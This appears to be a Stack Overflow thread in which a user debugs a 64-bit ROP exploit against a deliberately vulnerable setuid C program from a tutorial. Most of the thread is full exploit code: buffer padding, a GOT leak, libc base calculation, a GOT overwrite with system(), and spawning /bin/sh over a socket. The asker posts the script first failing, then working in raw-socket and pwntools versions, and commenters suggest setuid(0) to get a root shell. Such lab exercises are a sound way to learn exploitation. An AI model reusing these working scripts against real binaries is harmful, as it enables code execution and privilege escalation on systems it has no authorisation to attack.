0

So what's the story.. I'm following this tutorial on 64bit overflow exploit using rop. https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/

The c source to exploit is pretty simple and even includes a helper function to have the necessary assembly commands at hand; for c code and python script checkout the bottom of the post.

So I (try to) do the following:

  1. leak write address (works)
  2. calculate libc base address (works fine)
  3. calculate systems address (works fine)
  4. write /bin/sh into a writable area (works fine)
  5. launch system with /bin/sh (fails with sigsegv error)

I use the same approach as in the tutorial: setup a tcp listener with socat socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./leak run sudo gdb -q -p $(pidof socat) run python script exploit.py

I did verify

  • I do leak the correct address for write
  • all addresses I use are correct
  • got entry appears in gdb to be overwritten with the system address

    ~ $ sudo socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./leak

relevant gdb lines when running:

    Stopped reason: SIGSEGV
0x0000000000600b58 in _GLOBAL_OFFSET_TABLE_ ()
gdb-peda$ p write
$1 = {<text variable, no debug info>} 0x7f26035f6280 <write>
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7f2603544390 <__libc_system>
gdb-peda$ x/xg 0x600b58
0x600b58:   0x00007f2603544390

gdb-peda$ x/5i 0x00007f2603544390
   0x7f2603544390 <__libc_system>:  test   rdi,rdi
   0x7f2603544393 <__libc_system+3>:    je     0x7f26035443a0 <__libc_system+16>
   0x7f2603544395 <__libc_system+5>:    jmp    0x7f2603543e20 <do_system>
   0x7f260354439a <__libc_system+10>:   nop    WORD PTR [rax+rax*1+0x0]
   0x7f26035443a0 <__libc_system+16>:   lea    rdi,[rip+0x147978]        # 0x7f260368bd1f

...
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Exception (dump memory /tmp/peda-0xjqmnzi 0x7fff153a7000 0x7fff153a9000): Cannot access memory at address 0x7fff153a7000
Traceback (most recent call last):
  File "~/peda/peda.py", line 118, in execute_redirect
gdb.MemoryError: Cannot access memory at address 0x7fff153a7000
Found 2 results, display max 2 items:
leak : 0x600b40 --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7fa6d6ddfd17 --> 0x68732f6e69622f ('/bin/sh')

relevant lines from the script output:

~/github/ghostInTheShell $ ./exploit.py
[+] b'input: '
[+] write is at 0x7f26035f6280
[+] libcbase is at 0x7f26034ff000
[+] system is at 0x7f2603544390
[+] sending system address
[+] sending '/bin/sh' string
[+] try to open a shell via telnet

so from gdb and output you can see that things should be ok regarding the address scheme. but for some reason it throws SIGSEGV and wont execute system as expected. I did some research and thought I found the issue which is called 'relro' but even if I turn this off with the option -Wl,-z,-norelro I still get the sigsegv error. So thats not it. ASLR and NX are turned on but everything else is turned off. Anybody got some ideas why this would fail in the last piece? Maybe there is some additional protection turned on I dont know about? Best Zaphoxx

P.S. suid is set for ./leak according to

-rwsr-xr-x 1 root    root    7696 Nov 19 23:37 leak

so that should not be the issue here.

/* leak.c gcc -fno-stack-protector -o leak leak.c hint: make sure executing folder does not have nosuid flag set by checking out 'cat /proc/mounts' hint: turn of relro with -Wl,-z,norelro when compiling */

#include <stdio.h>
#include <unistd.h>
#include <string.h>

// add some helper asm snippets for convenience
void helper(){
    asm("pop %rdi;pop %rsi;pop %rdx;ret;");
    asm("pop %rsi;ret;");
    asm("push %rsi;ret;");  
}

int vuln(){
    char buf[150];
    write(1,"input: ",7);
    ssize_t l=0;
    memset(buf,0,sizeof(buf));
    l=read(0,buf,400);
    printf("[+] recvd: ");
    write(1,buf,l);
    return (int) l;
}

int main(){
    setbuf(stdout,0);
    printf("<%d>\n",vuln());
    return 0;
}

python script exploit.py:

#!/usr/bin/python3
# exploit for binary leak (leak.c)
from socket import *
from struct import *
import telnetlib

write_plt=0x4004f0  #address of write@plt
read_plt=0x400530
write_got=0x600b58  #address in got for write
write_off=0xf7280  #memsets offset in libc
system_off=0x45390  #systems offset in libc
pop3ret=0x40065a    #pop rdi;pop rsi;pop rdx;ret; 
writable=0x600b40 #writeable address

n=168               #padding

# part1: leak write address
shell=b""
shell+=bytearray("A","utf-8")*n
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",1)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",write_plt)

# part2: write system address into write got using read
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part3: write '/bin/sh' into a writeable address
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",writable)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part4: invoke system
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",writable)
shell+=pack("<Q",0xdeadbeef)
shell+=pack("<Q",0xcafebabe)
shell+=pack("<Q",write_got)

with open("pwn","wb") as p:
    p.write(shell)

s=socket(AF_INET,SOCK_STREAM)
s.connect(("127.0.0.1",2323))
print("[+] {}".format(str(s.recv(1024))))

# send payload
s.send(shell+bytearray("\n","utf-8"))

# get back write address
data=s.recv(1024)
d=data[-8:]
write_addr=unpack("<Q",d)

#calculate libc base address
libc_base=write_addr[0]-write_off

#calculate system address
system_addr=libc_base+system_off

# send system address
s.send(pack("<Q",system_addr))

# send '/bin/sh' string
s.send(bytearray("/bin/sh","utf-8"))

print("[+] write is at {}".format(hex(write_addr[0])))
print("[+] libcbase is at {}".format(hex(libc_base)))
print("[+] system is at {}".format(hex(system_addr)))
print("[+] sending system address")
print("[+] sending \'/bin/sh\' string")

print("[+] try to open a shell via telnet")
# open a shell
t=telnetlib.Telnet()
t.sock=s 
t.interact()

while(True):
    s.recv(1024)
4
  • Hi all, I doublechecked my settings but still get the error. Can someone help out and maybe point into the right direction? I'm really stuck now and dont know how to proceed. Thanks Commented Nov 27, 2017 at 11:41
  • Were you able to resolve this? If not check gist.github.com/sudhackar/eb4f53a4c1a880c35d5640fe2b5c95d7 Commented Jan 31, 2018 at 9:15
  • Hi, thanks in advance for your comment. I couldnt find a working solution yet. I will check your link out later tonight and let you know how it did go. Could you identify why it would not work for me as described above? Commented Jan 31, 2018 at 9:59
  • Although I can see your address has the string "/bin/sh" but that address din't work for me. strace gave read(0, 0x600b40, 8) = -1 EFAULT (Bad address) Also I see that while calling system you've used write_got instead of write_plt Commented Jan 31, 2018 at 10:18

3 Answers 3

1

As I already commented using write_got instead of write_plt will make your exploit fail. While testing your exploit I found out that attaching gdb to the target process while running your exploit, I was getting weird output

[+] b'input: '
[+] write is at 0x203a647663657220
[+] libcbase is at 0x203a64766355ff70
[+] system is at 0x203a6476635a5300
[+] sending system address
[+] sending '/bin/sh' string
[+] try to open a shell via telnet

I suspect this is from the fact that you used python socket. I have experienced in CTFs that sometimes you'll have to mess up with the buffering a lot. Its better to use a library already built for this. Check out my exploit how I have used pwntools to make my life easier for buffering inputs/outputs and for parsing ELF files so that you don't have to manually copy output from gdb.

Sign up to request clarification or add additional context in comments.

3 Comments

Hi, I did follow the pwntools approach and it did work fine. However it opened a normal user shell instead of a root/shell which would be another problem then. Good catch with the write_got. That would fail indeed. Even after changing that I didnt get my approach with the python socket to run properly. I basically set the same thing up using pwntools and there it worked all fine after all.
use setuid(0) to elevate privileges before calling system()
Hi, that's what I thought, but it doesnt seem as straight forward as expected. I added the following to the payload prior to setting up things for the system (/bin/sh) call. Similar to the systems part I override write_got entry with setuid address and after that I try to call it by setting rdi to 0. but it would hang when trying to send the payload. I guess due to nullbyte issues? but even if I put in other values (e.g. 1000 for the current user) it would still hang, so not nullbyte related then. how would you go about calling setuid(0)? best zaphoxx
1

SIGSEGV on an instruction that does no memory I/O (like xor %rdi, %rdi) generally means you’re executing a no exec page or your stack pointer or frame pointer are not mapped

Comments

0

so I finally figured it out with help from sudhackar (thanks a lot for pointing me in the right direction)

so basically there where two issues with the original code.

  1. I accidently put in write_got instead of write_plt when trying to invoke system()
  2. the python socket creates some weird responses due to the buffering of the recv function. I had to make sure I captured the leaks at the right moments. So I added a small function (recvuntil(socket,searchstring)) that would make sure I do send and recv data at the right moments.
  3. I reproduced the same with pwntools but there I have the problem that I wont get a root shell but a normal user shell instead
  4. UPDATED: I do not get a root shell with my own modified code as mentioned earlier. So I'm still stuck at that part for now.

So maybe someone can answer that final mystery!

UPDATE: Wont open a root shell for either version. I will always only get a normal user shell.

I posted both scripts below, first my own version and second the pwntools version which basically does the same thing.

!/usr/bin/python3

# exploit for binary leak (leak.c)
from socket import *
from struct import *
import telnetlib

def recvuntil(sock,key):
    found=False
    data=bytearray()
    bkey=bytearray(key,"utf-8")
    keylen=len(bkey)  
    while not found:
        try:
            b=sock.recv(1)
            #print(b,len(b))
            data.append(unpack("<B",b)[0])
            #data.append(unpack("<b",sock.recv(0x1)))
        except Exception as e1:
            print("[error] in recvuntil !")
            print(e1)
            found=False
            break
            
        if data[-keylen:]==bkey:
            found=True
            print(data)
            print("[+] found key \'{}\'".format(key))
        else:
            found=False
    return found
        

write_plt=0x400520  #address of write@plt
read_plt=0x400560
write_got=0x601018  #address in got for write
write_off=0xf72b0  #offset in libc
system_off=0x45390  #systems offset in libc
pop3ret=0x40068a    #pop rdi;pop rsi;pop rdx;ret; 
writable=0x601048 #writeable address

n=168               #padding

# part1: leak write address
shell=b""
shell+=bytearray("A","utf-8")*n
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",1)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",write_plt)


# part2: write system address into write got using read
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part3: write '/bin/sh' into a writeable address
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",writable)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part4: invoke system
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",writable)
shell+=pack("<Q",0xdeadbeef)
shell+=pack("<Q",0xcafebabe)
shell+=pack("<Q",write_plt)

shell+=bytearray("\n","utf-8")
shell+=bytearray("EOPWN","utf-8")
#with open("pwn","wb") as p:
#    p.write(shell)

s=socket(AF_INET,SOCK_STREAM)
s.connect(("127.0.0.1",2323))
#print("[+ #01] {}".format((s.recv(1024)).decode("utf-8")))

recvuntil(s,": ")

# send payload
bytes_sent=0
while bytes_sent<len(shell):
    bytes_sent+=s.send(shell[bytes_sent:])

recvuntil(s,"EOPWN")
# get back write address
data=s.recv(8)

d=data[-8:]
print(data,d)
write_addr=unpack("<Q",d)

#calculate libc base address
libc_base=write_addr[0]-write_off

#calculate system address
system_addr=libc_base+system_off

# send system address
s.send(pack("<Q",system_addr))

# send '/bin/sh' string
s.send(bytearray("/bin/sh","utf-8"))

print("[+] write is at {}".format(hex(write_addr[0])))
print("[+] libcbase is at {}".format(hex(libc_base)))
print("[+] system is at {}".format(hex(system_addr)))
print("[+] sending system address")
print("[+] sending \'/bin/sh\' string")
print("[+] try to open a shell via telnet")
# open a shell
t=telnetlib.Telnet()
t.sock=s 
t.interact()

while(True):
    s.recv(1024)

same using pwntools:

from pwn import *

pop3ret=0x40068a
writable=0x601048 #writeable address
bin=ELF("./leak")
lib=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Start a forking server
server = process(['socat', 'tcp-listen:2323,fork,reuseaddr', 'exec:./leak'])
# Connect to the server
s=remote("127.0.0.1",2323)
s.recvuntil(": ")

#leak address of write
payload=b"A"*168
payload+=p64(pop3ret)
payload+=p64(constants.STDOUT_FILENO) 
payload+=p64(bin.got[b'write']) #write@got
payload+=p64(0x8)
payload+=p64(bin.plt[b'write']) #write@plt

# part2: write system address into write got using read
payload+=p64(pop3ret)
    payload+=p64(constants.STDIN_FILENO)
payload+=p64(bin.got[b'write']) #write@got
payload+=p64(0x8)
payload+=p64(bin.plt[b'read']) #read@plt

# part3: write /bin/sh to writable address
payload+=p64(pop3ret)
payload+=p64(constants.STDIN_FILENO)
payload+=p64(writable)
payload+=p64(0x7)
payload+=p64(bin.plt[b'read'])

# part4: invoke system
payload+=p64(pop3ret)
payload+=p64(writable)
payload+=p64(0xdeadbeef)
payload+=p64(0xcafebabe)
payload+=p64(bin.plt[b'write'])

payload+=b'EOPAY'

print("[+] send payload")
s.send(payload)

s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")

got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
libc_base=got_leak-lib.symbols[b'write']
system_leak=libc_base+lib.symbols[b'system']
print("[+] system: {}".format(hex(system_leak)))

s.send(p64(system_leak))
s.send(b'/bin/sh')
s.interactive()

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.